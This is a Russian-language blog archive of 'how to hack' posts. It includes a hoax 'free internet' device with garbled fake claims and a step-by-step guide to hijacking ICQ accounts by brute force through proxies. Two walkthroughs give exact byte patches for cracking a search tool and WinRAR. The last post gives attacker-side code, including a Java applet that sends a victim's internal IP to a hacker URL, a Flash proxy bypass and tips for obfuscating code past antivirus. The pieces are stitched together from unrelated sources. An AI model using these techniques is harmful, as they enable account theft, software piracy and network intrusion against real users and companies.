Архив рубрики «Как взломать...»
конецформыначалоформыПлохо платить кровно нажитые бабки за интернет злодею-провайдеру, да? Вот ведь кровопийцы, пользуются своим положением и дерут деньги так что пыть столбом… Меня давно уже просили найти способ не платить за интернет. С гордостью могу сообщить – такой способ есть! Пока что это – первый сайт, где эта информация опубликована. Разработано это устройство было в Румынии известной хакерской группой “MiCrOShIt LaBs” – ну вы знаете, такие ребята как Dark Steamer, Hiway Ptrol, Amalgama, CubiQ и прочие достойные личности.!
Устройство схема которого приведена ниже позволяет получить полностью халявный интернет. Принцип ее действия достаточно прост (см. блок-схему). Оно использует метод Brute Force атаки при одновременном сравнении ключей.
Работа с устройством ничем не отличается от работы с обычной телефонной линией. При поступлении запроса на обращение к Интернету, устройство дозванивается до ближайшего провайдера, и используя модуль компарации, вычисляет ключ-пароль на сессию. В дальнейшем все ключи хранятся в памяти компьютера так что дозвонка происходит еще быстрее. При смене ключ-пароля, происходит его регенерация – то есть вычисление нового и его запоминание. Все очень просто, как видите. Помните – главное не перепутать полярность! И осторожнее при пайке – все-таки паяльник горячий.
Успехов Вам и Халявного(бесплатного) интернета
конецформыначалоформыСижу я значит вчера на форуме, флужи и вдруг заметил как Альянс UIN`ы разыгрывает, думаю дайка выиграю… И выиграл =). Связался он со мной по ICQ минут через 30. Так и так, номер получил зарегил, но уж больно мне стало интересно, как это он столько UIN`ов пробил. «А давай я тебе расскажу, как я админом на порталах становлюсь ( вот уже раз 10 этот баг помогает =), а ты мне как UIN`ы дерешь…». Он мне все подробно рассказал и результаты не заставили себя долго ждать…
Для удобства выведу сразу весь список программ и ссылок…
1. www.samair.ru Бесплатные прокси, около 1600 штук, для начала хватит.
2. www.proxychecker.ru Это уже посерьезнее. Но требуется регистрация.
3. UinReg Прога для автоматической регистрации UIN`ов.
4. IPDbrut БрутФорс для ICQ.
5. UIN;PASS Генератор списка UIN`ов и PASS`ов.
6. Back2ICQ Тоже Брут, только чуть по серьезнее.
Итак начнем.
9-ти значки.
Тут ничего сложного. 9-ти значки могут вам понадобится чуть позже, например для Assault`а. Для их получения нужно лишь скачать список проксей, поместить его в текстовик. Вот чтоб получилось примерно такое:
65.100.168.41:80
65.58.240.35:80
63.200.144.194:80
63.114.100.254:80
24.159.187.117:80
24.151.6.32:2659
24.147.128.95:80
24.123.160.234:80
12.146.245.17:80
12.146.114.1:80
И запустить прогу UinReg. Так можно даже красивых несколько зарегить.
8-ми значки.
Тут тоже никаких сложностей возникнуть не должно. Для работы Брута (IPD подойдет больше) понадобится список проксей, такого же вида, и текстовик со списком Уин;пасс.
Качаем прокси (тут чем больше, тем быстрее) и создаем список UIN`ов с помощью UIN;PASS. Я рекомендую попробовать с диапазона 777#####. Введите «Начинать с» 77700000 «по» 77755555 и укажите пасс. Список пассов лучше не использовать, долго очень. А вот от выбора пасса зависит очень многое. Тут вы должны размышлять как большинство чайников. Попробуйте вспомнить себя в детстве, какой пасс вы использовали… После генерации списка запускайте Брут, укажите список проксей и UIN`ов и жмите старт. Bad – не совпавшие UIN`ы, Good – совпавшие =). Вот и все. Вся фишка заключается в «правильном» пассе. Я за 3 часа успел найти 10 7-мизначек и 30 8-ми. Ну уж если совсем не можете пасс придумать, то попробуйте 123 =)
7-ми значки.
Тут все тоже самое, только успех еще более зависит от пассворда. Чем Ламернее пасс введете, тем больше UIN`ов надыбаете. Можно попробовать составить короткий список пассов, но как показывает практика, это мало что дает.
ВНИМАНИЕ!!! Тут потребуется терпение! Бывает, что на 2000 проверенных находит около четырех UIN`ов, а бывает, что на 10 000 ни одного не находит! Попробуйте еще подумать над диапазоном UIN`ов. Ясно дело что на 777#### вы ничего не найдете =)
6-ти значки.
Вот и самое сладкое. Тут вам придется ждать по часу и более для регистрации одного UIN`а. В качестве Брута лучше взять Back2ICQ, он тормознее, но удобней. Запустите и перейдите на Single подбор (для одного UIN`a) Там сразу можно создать список пассов. Введите номер, опять же не вводите типа 666666, к таким пароли типа 123 не подойдут на 100% =). Запускайте и ждите. Список пассов составьте не большой. Перебирайте UIN`ы до победы!
5-ти значки.
=) Вот тут я даже не знаю че посоветовать =). Я их даже не пытался еще, время тратить тока зря… Кто знает технологию вытаскивания таких UIN`ов – сообщайте, но я думаю, что кроме соц инженерии врядли тут че пройдет…
Вот вроде и все. По всем вопросам идите на форум или стучите в 77702577.
Хорошая, очень хорошая программа для поиска документов, статей и всяких ШТМЭЛЕЙ….теперь и для локальной сети…типа ставишь на сервер, и находишь все, за пару минут, после того, как она целую ночь прокалбасит… .создаст базу, и……)
Если честно, за нее денег бы не пожалел, но, ….
кредитки нет, а прога хорошая
1. Избавление от лимита времени.
Перед установкой запускаем RegSnap и сканируем реестр, еще чистый так сказать, на всякий случай. Устанавливаем шлюшку и снимаем образ реестра еще раз (прогу не запускаем!!!). Смотрим изменения, ключиков до хрена, но толкового вроде ничего, кроме парочки модифицированных. Запускаем ищейку и смотрим на веселый About,со строкой, что у нас всего 30 дней использования. Ура. Снимаем реестр еще раз. Все почти без изменений, кроме интересного ключика:
[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID{BC85E580-F256-11D5-ABD7-0000B4A29983}']
“InfoTip”=”12.324.4567.345.234.4567.11″ (Значение может быть и другим)
Решение: попробуем удалить значение ключа, но не сам ключ. Запустим прогу – 30 дней. Хм. Передвинем часики на пару дней вперед. Упс, все равно 30 дней что и требовалось.
2. Количество файлов
Вот задачка.. Даже если добиться активации кнопки регистрации и попробовать зарегистрироваться, то в итоге ничего толкового не будет, так как урезаны функции в самой проге (Trial version). Так что будем юзать цифру количества файлов. Скажу честно, ссылочек получилось довольно много аж 22е.
Основные (на мой взгляд):
004С7B53 (C7153) mov ecx, 000003E8
004C7B0D (C710D) -”-
004B0881 (AFE81) -”- !!!
0040B933 (AF33) -”-
Да, упакована она UPX-ом, так что без особых навыков в WinDasme может не открыться , а вообще лучше секцию .data Chras…, после распаковки поменять на С0000040, открыть в IDA и спокойно работать.
Итак лучше пойдем другим путем. Ставим в сосульке бряк на ShowWindow, и создаем новую зону поиска. Вываливаемся в айс, и ищем s DS:0 LFFFFFFFF “documents in one SearchZone” -> ставим бряк на этот адрес, отключаем ShowWindow и отпускаем прогу на волю. После просчета допустим 1020 файлов, на 1000 (3Е8) оказываемся в айсе, в какой-то процедуре которая готовит это веселое сообщение. Шагаем по ret -ам, пока не окажемся в основном теле программы (это не так долго как кажется..), а теперь на экран впереди видим такие строчки:
mov ecx,[eax-40]
cmp ecx,edx – ecx – сколько просмотрено файлов, edx = 03E8
jb 0041….. if > then no jump -> Window. ![]()
Все!!
(Короче примерно по адресу 018F:0041CEF6 (1C4F6) 0F 82 BB 00 00 00 , меняем на jmp –, E9 BC 00 00 00 90 ).
3. Зоны поиска.
Метод такой же. ![]()
По адресу 018F:0040A415 jl 0040A4F3 (9A15) 0F 8C D8 00 00 00, на jmp E9 D9 00 00 00 90.
Для увековечивания себя любимого можно пройтись по Offset’s:
111A98, 111C5F, 11765B, 11774C, and more
конецформыначалоформыВам всем наверное очень хорошо известен архиватор WinRar. Это версия архиватора RAR под ОС Windows 95/98. Сама проверка регистрационного имени и кода очень запутанная, но если хорошо присмотреться то можно (конечно не с первого раза) обнаружить очень слабое место в защите программы. С помошью всеми нами любимого SoftICE 4.0 и W32Dasm а также HIEW 6.11 можно очень быстро заставить прогу вам поверить и зарегистрировать вас с любым именем и номером.
Ну что же, приступим к делу. Прежде всего любой взломщик тщательно изучаеть взламываемый объект. Начнем с того (довольно однообразное действие), что попытаемся ввести свои данные в поле (Enter your registration (AV) text) и любой код от фонаря в поле (Enter your registration code). Например я ввел JAM в поле имени и код 1234. Жмем OK и что-же…. Довольно глупое сообщение о том что вы что-то неправильно сделали и Registration Failed. Запускаем W32Dasm и смотрим импортируемые функции. Ага … из библиотеки USER32 наша прога импортирует функции GetDlgItemTextA.
* Reference To: USER32.GetDlgItemTextA, Ord:0000h | :00413BF1 E8180D0100 Call 0042490E ; сначала происходит считывание рег. имени :00413BF6 8D459C lea eax, dword ptr [ebp-64] :00413BF9 50 push eax ; прячем адреса строк в стек :00413BFA 8D559C lea edx, dword ptr [ebp-64] :00413BFD 52 push edx * Reference To: USER32.CharToOemA, Ord:0000h | :00413BFE E8210C0100 Call 00424824 ; вызываем функцию которая что-то вытворяет ; с регистрационным именем (не суть важно, что) * Possible Reference to String Resource ID=00070: “Authenticity verification FAILED” | :00413C03 6A46 push 00000046 :00413C05 8D8D54FFFFFF lea ecx, dword ptr [ebp+FFFFFF54] :00413C0B 51 push ecx * Possible Reference to Dialog: ARCINFODLG, CONTROL_ID:0066, “Authenticity verification” | * Possible Reference to String Resource ID=00102: “Unknown format” | :00413C0C 6A66 push 00000066 :00413C0E FF7508 push [ebp+08] * Reference To: USER32.GetDlgItemTextA, Ord:0000h | :00413C11 E8F80C0100 Call 0042490E ; Тут прога получает сам код (1234) :00413C16 80BD54FFFFFF00 cmp byte ptr [ebp+FFFFFF54], 00 ; проверка длины полученной строки :00413C1D 751A jne 00413C39 ; переход если длина возвращаемой ; не равна 0
Попробуем выполнить переход по этому адресу, немного перейдя вниз можно наткнуться на интересный кусок кода. Внимательно присмотритесь к коду начиная с адреса 00413C4A. Именно здесь и вызывается функция, в которую передаются двумя параметрами имя и код. Вызывается эта функция по адресу 00413C55. Дотрассировав SoftICE’ом до этого места можно убедится в том что ваше имя и рег. код находятся в стеке, откуда потом и используются функцией.
Примерно эту функцию я описал так:
function Check_Registration(Char* RegName, Char* RegCode); stdcall;
Параметры функции передаютя в функцию в обратном порядке, согласно правилам языка C/C++ (для тех кто этого еще не знает).
:00413C4A 8D8D54FFFFFF lea ecx, dword ptr [ebp+FFFFFF54] ; второй параметр (1234)
:00413C50 51 push ecx ; адрес строки
:00413C51 8D459C lea eax, dword ptr [ebp-64] ; первый параметр (JAM)
:00413C54 50 push eax ; адрес строки
:00413C55 E84B68FFFF call 0040A4A5 ; вызов функции
:00413C5A 83C408 add esp, 00000008 ; коррекция стека
Идем дальше ….. Интересно а что это за проверка eax на 0 сразу после вызова функции. Уж не возвращает ли функция в регистре eax 0, если регистрация неправильная и 1, если правильная.
:00413C5D 85C0 test eax, eax ; проверка eax
:00413C5F E92F000000 jne 00413C93 ; если 1 то переход
Убедится в том что здесь и выполняется проверка, помогают следующие строки. Предлагаю всмотреться в них повнимательнее !!! Наверное невооруженным глазом видно что если в eax возвращается 0 то перехода не будет и на экран будет выведено сообщение о том что Registration Falied. Ну а если в eax 1, то мы зарегистрированы.
:00413C68 0000 add byte ptr [eax], al
:00413C6A 59 pop ecx
:00413C6B 50 push eax
* Possible Reference to Dialog: ARCINFODLG, CONTROL_ID:006A, “”
|
* Possible Reference to String Resource ID=00106: “Registration failed”
|
:00413C6C 6A6A push 0000006A
:00413C6E E8F5640000 call 0041A168
:00413C73 59 pop ecx
:00413C74 50 push eax
:00413C75 FF7508 push [ebp+08]
* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00413C78 E86D0C0100 Call 004248EA
:00413C7D 33D2 xor edx, edx
:00413C7F 89155C574200 mov dword ptr [0042575C], edx
:00413C85 891538564200 mov dword ptr [00425638], edx
:00413C8B 89154C564200 mov dword ptr [0042564C], edx
:00413C91 EB56 jmp 00413CE9
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00413C5F(U)
* Possible StringData Ref from Data Obj ->”WinRAR”
|
:00413C93 68DC6A4200 push 00426ADC
:00413C98 FF35A0644200 push dword ptr [004264A0]
* Reference To: USER32.SetWindowTextA, Ord:0000h
|
:00413C9E E8C30B0100 Call 00424866 ; здесь мы станем зарегистрированными
* Possible Reference to String Resource ID=00048: “Normal”
|
:00413CA3 6A30 push 00000030
* Possible Reference to Dialog: ARCINFODLG, CONTROL_ID:006C, “”
|
* Possible Reference to String Resource ID=00108: “Correct registration”
|
:00413CA5 6A6C push 0000006C
:00413CA7 E8BC640000 call 0041A168
:00413CAC 59 pop ecx
:00413CAD 50 push eax
* Possible Reference to Dialog: ARCINFODLG, CONTROL_ID:006B, “”
|
* Possible Reference to String Resource ID=00107: “Thank you for support”
|
:00413CAE 6A6B push 0000006B
:00413CB0 E8B3640000 call 0041A168
Что может быть проще как исправить команду jne 00413C93 на jmp 00413C93 и все в порядке. Запускаем HIEW, открываем файл winrar95.exe и нажимаем F5 чтобы перейти на нужный нам адрес. Набираем .00413C5F жмем Enter и видим знакомый текст. Для тех кто не знает как править код поясняю. Жмем сначала F3, потом F2 и вводим нужную нам команду. Жмем F9 чтобы записать изменения. Пробуем зарегистрироваться еще раз.. Вау !!!! Получилось, работает !! Выглядит это так:
Что же будем думать дальше. Логика подсказывает что где при запуске программа делает еще одну проверку на правильность регистрации. А то ведь так можно просто текст в ini – файле подправить и все. Кстати вот и кусок текста в файле Rar.ini
[registration]
regname=JAM
regcode=1234
Снова запускаем W32Dasm и ищем где еще вызывается функция находящаяся по адресу [0040A4A5] Ну как …… Вызов происходит во всей проге всего 2 раза в начале и при самой регистрации. Вот кусок кода который исполняется при инициализации программы
:00408045 6880AD4200 push 0042AD80 ; наше 1234
:0040804A 6830AD4200 push 0042AD30 ; и соответственно JAM
:0040804F E851240000 call 0040A4A5 ; вызов проверки
:00408054 83C408 add esp, 00000008 ; коррекция стека
Для тех кому интересно как же считывается имя и код может посмотреть дизассемблированный листинг немного повыше до того места где вызывается функция GetPrivateProfileStringA которая и считывает из файла rar.ini имя и код.
Ладно вернемся к нашему листингу. Надо найти место где выполняется проверка eax на 0 или на 1. Но что это, значение eax после вызова функции нагло затирается на 1. Выглядит это так
:00408057 B801000000 mov eax, 00000001 ; здесь в eax записывается 1
:0040805C 5F pop edi ; дальше не интересно
:0040805D 5E pop esi
:0040805E 5B pop ebx
Уж не хотят ли разработчики чтобы прога всегда оставалась зарегистренной. Оказывается нет. Не хотят. Видать как я уже писал они не полные дураки. Проверок eax на 1 или 0 дальше не оказалось. Теперь пришло время обратиться к тексту самой функции которая скрывается под адресом [0040A4A5]. Тело самой функции крайне неинтересно, т.к. в нем выполняется множество всевозможных проверок и модификации имени и кода, но вот кусок кода в самом конце функции наводит на определенные размышления. Вот он:
:0040A77D C60300 mov byte ptr [ebx], 00 ; неинтересно
:0040A780 A15C574200 mov eax, dword ptr [0042575C] ; ВОТ ТУТ !!!
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A4FF(U), :0040A53C(U)
|
:0040A785 5F pop edi ; Стандартное завершение функции -
:0040A786 5E pop esi ; восстановление всех регистров
:0040A787 5B pop ebx
:0040A788 8BE5 mov esp, ebp
:0040A78A 5D pop ebp
:0040A78B C3 ret ; возврат из функции
Значит результат проверки записывается в глобальную переменную по адресу [0042575C] ну а потом еще записывается и в eax. И значит где-то при инициализации проверяется не значение eax а эта переменная. На этой переменной и стоит нам остановиться. В W32Dasm делаем поиск строки [0042575C] и что же. Их встречается довольно много, 5-8, может больше (не считал). Теперь исследуем эту переменную на предмет модификации. Во всех случаях, когда W32dasm находит эту переменную, смотрим изменяется она или нет. Я нашел что она изменяется только в двух местах. Но внимание должно привлечь только одно место. А вот и это место:
:0040A716 0F94C1 sete cl
:0040A719 83E101 and ecx, 00000001
:0040A71C 890D5C574200 mov dword ptr [0042575C], ecx ; модификация [0042575C]
:0040A722 FF353C574200 push dword ptr [0042573C]
Теперь все сводится простому. Исправляем в редакторе HIEW две команды sete cl и and ecx, 0000001 на команду mov ecx, 00000001. Пробуем еще раз выйти из программы и запустить ее снова.
И что же ……. Наши старания вознаграждены – программы работает безо всяких ограничений и регистрит кого угодно.
Вот так выглядит окно зарегистренного WinRar:
Специалисты сошлись во мнениях: сегодня безопасность корпоративных сетей находится под большой угрозой, хакерам удалось проникнуть за периметр локальных сетей. На сей раз из боевого арсенала, они выбрали наиболее уязвимое звено в безопасности – веб-приложения.
По данным Web Application Security Consortium, исследования 2006 года показали, что более чем 85% веб приложений уязвимы к атакам XSS:
Статистика не рисует радужных перспектив для пользователей, в тоже время, она не может не радовать хакеров. Используя XSS, хакеры могут внедрять свой код на чужие сайты, с целью хищения данных клиентов. Помимо уже популярных сценариев с кражей личных данных, номеров кредитных карт, и т.д. сегодня стали популярными схемы проникновения в корпоративные сети клиентов, средствами одних только веб технологий. Комбинации из PHP, JavaScript и Java превращают невинные веб ресурсы в капканы для внутренних сетей больших корпораций. Именно об этом мы сегодня и поговорим…
Проникновение с использованием веб-технологий накладывает на нас определенные ограничения в выборе методов для атаки, а заложенная в них специфика требует применения изощренных техник. В ближайших статьях мы рассмотрим сценарии проникновения в корпоративные сети, сканирование сети, и атаки на внутренние веб-сервера. А в этой части поговорим исключительно про определение характеристик внутренней сети. Эти данные окажутся нам полезными на втором этапе проникновения – сканировании сети.
Итак, наша цель определить внутренний IP адрес клиента, чтобы в дальнейшем иметь представление о маске сети. Допустим что, сотрудник компании зашел на страницу хакера: http://www.hacker.com/go2intranet.php . Первое, и самое простое, что мы можем узнать о клиенте – это его внешний адрес.
Внешний адрес
Авторизация пользователя на сервере может осуществляется по многим критериям, это может быть идентификатор сессии в HTML коде, содержимое данных cookie, или же внешний IP адрес клиента. В зависимости от задачи разработчики выбирают наиболее подходящий им метод, но независимо от этого веб-сервер предоставляет им все имеющиеся данные. Для злоумышленника, в данном случае, представляет интерес внешний адрес клиента, который можно легко узнать средствами языка PHP.
В PHP собранная сервером информация хранится в массиве $_SERVER, сюда входят данные о самом сервере, активной странице, и собственно о клиенте. Конкретно адрес клиента хранится в переменной REMOTE_ADDR, и если вы посетили страницу хакера, последний без труда вычислит ваш внешний IP:
echo 'Client ip: '. $_SERVER['REMOTE_ADDR'];
echo 'Client port: '. $_SERVER['REMOTE_PORT'];
echo 'Client dns: '. $_SERVER['REMOTE_HOST'];
?>
Как видно из примера, доступной также является информация о номере порта, через который браузер соединяется с веб-сервером и DNS имя клиента. Последнее узнается через “Rreverse DNS lookup”, относительно IP адреса клиента. Допустим, мы получили следующий результат:
REMOTE_ADDR: 20.20.20.20
REMOTE_PORT: 37938
REMOTE_HOST: proxy.isp.com
Но что нам дает эта информация? Если разобраться, то не так уж и много. Для атаки на внутреннюю сеть, этих данных менее чем достаточно, ведь внешний IP скорее всего не имеет никакого отношения к компании. Вероятнее всего, адрес принадлежит компании предоставляющей доступ в Интернет…
В самом простом виде, схему подключения корпоративного пользователя, можно представить как цепь из 4-х систем:
Не считая систему клиента и сам веб-сервер (30.30.30.30), у нас остаются два участника: внутренний сервер компании и внешний сервер провайдера, предоставляющий доступ в Интернет. В прошлом примере мы узнали внешний адрес клиента, но это не его внутренний IP, это вероятнее всего адрес прокси-сервера провайдера. Можно делать догадки и точно определить его принадлежность, но такое расследование выходит за рамки этой статьи, мы же будем считать, что 20.20.20.20 это сервер ISP.
На этом наши поиски не закончились, продолжим изучать переменную $_SERVER.
Маршрут
Кроме уже описанных данных, в переменных сервера могут храниться заголовки X-Forwarded-For и Via. Они являются служебными и формируются промежуточными серверами, по мере транспортировки запроса. Эти поля в последующем используются для идентификации клиента пославшего запрос, чтобы потом доставить ему ответ сервера.
echo 'X-Forwarded-for: '. $_SERVER['HTTP_X_FORWARDED_FOR'];
echo 'Via: '. $_SERVER['HTTP_VIA'];
?>
Теперь, нам известно, что proxy.isp.com, действительно принадлежит провайдеру. Если посмотреть на значение VIA в заголовке, то видно, что пакет проходит через proxy.intranet.com, а уже потом через proxy.isp.com. Также можно добавить, что обе прокси работают по порту 3128 и используют squid 2.6.
Опираясь на значение X-Forwarded-For, мы определяем локальный адрес клиента (192.168.10.5), поскольку proxy.intranet.com лежит в той же подсети, его адрес будет 192.168.10.ХХ. Корпоративный прокси, предоставляет доступ в сеть провайдера, в его под сети он имеет адрес 10.10.10.10. Больше про сеть провайдера мы не можем ничего сказать, но это и не важно, ведь наша цель проникновение в корпоративную сеть.
Итак, мы нашли адрес клиента, и имеем некоторую информацию о маршрутизации Интернет трафика. Все наши сведенья получены с помощью данных хранящихся в заголовках запросов, но часто пользователи или провайдер пытаются скрыть эту информацию, и блокируют передачу таких данных…
Java applet
В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.
Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается, в том, что Java код находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
// это структура, мы используем ее для хранения
// сетевой информации о хосте:
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + “.”
+ ubyte(ip[1]) + “.”
+ ubyte(ip[2]) + “.”
+ ubyte(ip[3])
);
}
// это служебная функция, для демонстрации
// она выводит в Ява консоль информацию про хост
public void showHost(String name,Host host)
{
System.out.println( name + ” name: ” + host.name );
System.out.println( name + ” port: ” + host.port );
System.out.println( name + ” ip: ” + host.ip );
return;
}
// функция определяет адрес веб-сервера
public Host getHostBase(){
Host base = new Host();
// берем DNS имя веб-сервера
base.name = getDocumentBase().getHost();
// порт по которому он работает
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80; // на заметку: -1 = 80
base.ip = “unknown”;
// создаем подключение к серверу по его DNS,
// чтобы получить IP адрес сервера:
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip); // превращаем массив в строку
}catch(Exception e){ base.ip = “error”; };
return base;
}
// получаем локальный адрес клиента:
public Host getHostLocal()
{
// берем адрес сервера
Host base = getHostBase();
Host local = new Host();
try {
// создаем подключение к серверу:
Socket connection = new Socket(base.name, base.port);
// Это наше локальное имя:
local.name = connection.getLocalAddress().getHostName();
// Это наш адрес:
local.ip = connection.getInetAddress().getHostAddress();
// Это порт подключения:
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80; // это уже понятно
} catch(Exception e)
{
// если произошла ошибка, возвращаем хоть что-то:
local.name = “localhost”;
local.port = ‘0′;
local.ip = “127.0.0.1″;
}
return local;
}
// Инициализация:
public void init()
{
showHost(”server”, getHostBase() );
showHost(”local”, getHostLocal() );
}
}
Для исполнения аплета, добавляем следующий код в наш скрипт go2intranet.php:
Апплет выводит данные в консоль виртуальной машины Ява:
На практике, он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение, по определению клиентского IP адреса, поэтому обработку данных оставим на потом.
Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета, можно добавлять в документ на лету, используя JavaScript:
Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки, и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах, только Ява позволяет осуществить TRACE запросы. Недавно Anurag Agarwal, написал пример для Firefox, использующий java.net.socket, для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);
wr.write("TRACE / HTTP/1.1 n");
wr.write("Host: " + host + "n");
wr.write("nr");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "n"; }
alert(lines);
wr.close();
rd.close();
socket.close();
Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via) атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?
Flash XMLSocket
Практически все программные средства доступные из браузера, используют его настройки при сетевом обмене данными. Поскольку прокси сервер настраивается в нем же, то все подключения должны делаться через него. Так оно и есть, за исключением некоторых объектов, которые игнорируют прокси сервер. Один из таких объектов XMLSocket реализованный во Flash.
Объект XMLSocket используется для обмена данными между Flash приложением и сервером, без использования прокси. Его реализация имеет ряд ограничений, самое существенное из которых - это требования к порту подключения. В целях безопасности номер порта должен быть больше 1024, поэтому у хакера должна быть возможность его прослушивать со стороны сервера. Также стоит заметить, что на сервере, должен находиться файл policy.xml, позволяющий подключение по выбранному порту. В самом простом варианте, он должен иметь следующее содержание:
Такая конфигурация позволяет подключение с любого адреса по любому порту. Для примера будем считать, что хакер открыл порт 9000 (в Apache это делается добавлением LISTEN 9000). И настроил его так, что все полученные на него данные пересылаются на 80 порт (веб-сервер). В таком случае исходный код Flash, будет иметь следующий вид:
s = new XMLSocket(); // создаем сокет
// настраиваем…
s.onConnect = handleConnect;
// подключаемся на порт 9000
s.connect(null, 9000);
// если подключились, имитируем GET запрос к нашему скрипту
function handleConnect(success) {
if(success) {
s.send(“GET /go2intranet.php HTTP/1.1 n”);
s.send(“Host: hacker.comn”);
s.send(“nr”);
}
}
При успешном исполнении, Flash инициирует подключение к серверу на 9000-й порт, минуя прокси-сервер, и тем самым раскроет реальный адрес клиента. Но не стоит забывать, что использование этого метода возможно только в тех случаях, когда хакер имеет права на редактирование конфигурации сервера. Если такой возможности у хакера нет, то у него еще остается шанс миновать прокси, используя java, которая позволяет посылать UDP пакеты на сервер…
Metasploit Decloaking Engine
Очень хорошее решение нашей задачи предложил проект Metasploit. Демонстрация использует несколько вариантов тестирования, чтобы более точно определить сетевую конфигурацию клиента. Самое интересное в этом решении, это определение DNS сервера провайдера, предоставляющего доступ в Интернет.
'); echo('
'); echo(''); list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2); $_SESSION['forwarded'] = 'local,,' . $forwarded . ','; $_SESSION['remote'] = 'local,' . $_SERVER['REMOTE_HOST'] . ',' . $_SERVER['REMOTE_ADDR'] . ',' . $_SERVER['REMOTE_PORT']; }; ?>
Таким будет код Java апплета:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
public Host getHostBase(){
Host base = new Host();
base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;
base.ip = "unknown";
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip);
}catch(Exception e){ base.ip = "error"; };
return base;
}
public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();
try {
Socket connection = new Socket(base.name, base.port);
local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80;
} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
public void saveHost(String local,Host host)
{
String url = getParameter("url2save");
String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;
try
{
URLConnection connection =
new URL(url + "&method=java&data=" + data ).openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream( ) ) );
char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024)) != -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println( contents );
}
} catch (Exception e) { }
return;
}
public void init()
{
showHost("local", getHostLocal() );
saveHost("local", getHostLocal() );
}
}
Все остальные комбинации оставляю для самостоятельной работы читателей. Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:
alert( navigator.javaEnabled() );
Для примеров под FireFox необходимо определять имя браузера:
alert( navigator.appName );
И в таком духе реализовать комплексную проверку.
Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.
Будьте бдительны…
Перед взломом сервера вы первоначально занимаетесь его изучением. Вы определяете платформу, на которой работают сервисы, их версии и уже только после этого приступаете к самому нападению. При сетевой разведке, и промышленном шпионаже используется идентичная технология. И это оправдано, атака вслепую никогда не будет столь эффективной, как точечные удары…
Как уже писал Хакер, в прошлом году написание вредоносного кода на JavaScript и AJAX перешло из разряда исследовательской работы в коммерческую. В феврале компания ИТ-безопасности Websense обнаружила, что веб-сайт стадиона Dolphin был заражен троянским кодом на JavaScript: вместо обычной замены текста на главной странице злоумышленники встроили туда незаметный вредоносный код. Дальнейшее исследование показало, что таким образом уже были заражены десятки сайтов.
Коммерческая подоплека диктует свои правила. Интересы хакеров постепенно смещаются в сторону краж конфиденциальных данных пользователей: адресов, телефонов, логинов, паролей, номеров страхования и данных о кредитных картах клиентов. Поэтому хакеры собирают максимальное количество данных о своих будущих жертвах… Чтобы с большой вероятностью получить эти данные, атакующий собирает информацию о том, какими сервисами пользуется клиент. Ведь ни для кого не секрет, что твои паспортные данные нельзя похитить в том случае, если у тебя паспорта нет вообще. А вот если ты используешь PayPal, можно попытаться захватить твою учетную запись…
Сканирование
